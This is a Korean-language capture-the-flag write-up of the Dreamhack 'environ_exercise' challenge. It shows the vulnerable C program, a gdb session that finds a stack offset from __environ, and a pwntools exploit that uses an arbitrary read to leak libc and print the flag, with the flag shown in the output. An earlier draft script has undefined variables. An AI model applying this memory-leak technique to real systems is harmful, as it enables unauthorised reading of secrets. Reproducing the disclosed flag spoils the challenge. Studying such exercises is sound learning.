// Name: environ.c
// Compile: gcc -o environ environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
int fd = open("/home/environ_exercise/flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
❯ checksec environ_exercise
[*] '/root/wargame/environ_exercise'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
⇾ 예제처럼 __environ 주소를 기준으로 스택에서 flag 파일 주소를 알아내고 임의 주소 읽기 취약점으로 flag 파일 내용을 읽어 출력하면 될거 같습니다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = process("./environ_exercise")
e = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
slog("libc base", libc_base)
slog("environ", environ)
gef➤ disas read_file
Dump of assembler code for function read_file:
...
0x000055e8c6c00a2c <+54>: lea rcx,[rbp-0x1010]
0x000055e8c6c00a33 <+61>: mov eax,DWORD PTR [rbp-0x1014]
0x000055e8c6c00a39 <+67>: mov edx,0xfff
0x000055e8c6c00a3e <+72>: mov rsi,rcx
0x000055e8c6c00a41 <+75>: mov edi,eax
0x000055e8c6c00a43 <+77>: call 0x55e8c6c00810 <read@plt>
0x000055e8c6c00a48 <+82>: mov eax,DWORD PTR [rbp-0x1014]
...
End of assembler dump.
gef➤ b * read_file+77
Breakpoint 1 at 0x55e8c6c00a43
gef➤ r
gef➤ x/x $rsi
0x7ffc0b408160: 0x00000000
gef➤ p/x __environ
$1 = 0x7ffc0b409698
gef➤ $ 0x7ffc0b409698-0x7ffc0b408160
5432
0x1538
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
#p = process("./environ_exercise")
p = remote("host3.dreamhack.games", 18056)
e = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#context.log_level = 'debug'
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"), 16)
libc_base = stdout - e.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + e.symbols['__environ']
slog("libc base", libc_base)
slog("libc environ", libc_environ)
p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))
p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, b"\x00"))
file_content = stack_environ - 0x1538
slog("stack environ", stack_environ)
slog("file content", file_content)
p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))
p.interactive()
❯ python3 exploit.py
[+] Opening connection to host3.dreamhack.games on port 18056: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc base: 0x7f36e2300000
[+] libc environ: 0x7f36e26ee098
[+] stack environ: 0x7ffd8d90f078
[+] file content: 0x7ffd8d90db40
[*] Switching to interactive mode
DH{d27721f1c8dd19d57e67f64cda6c7bca}
> $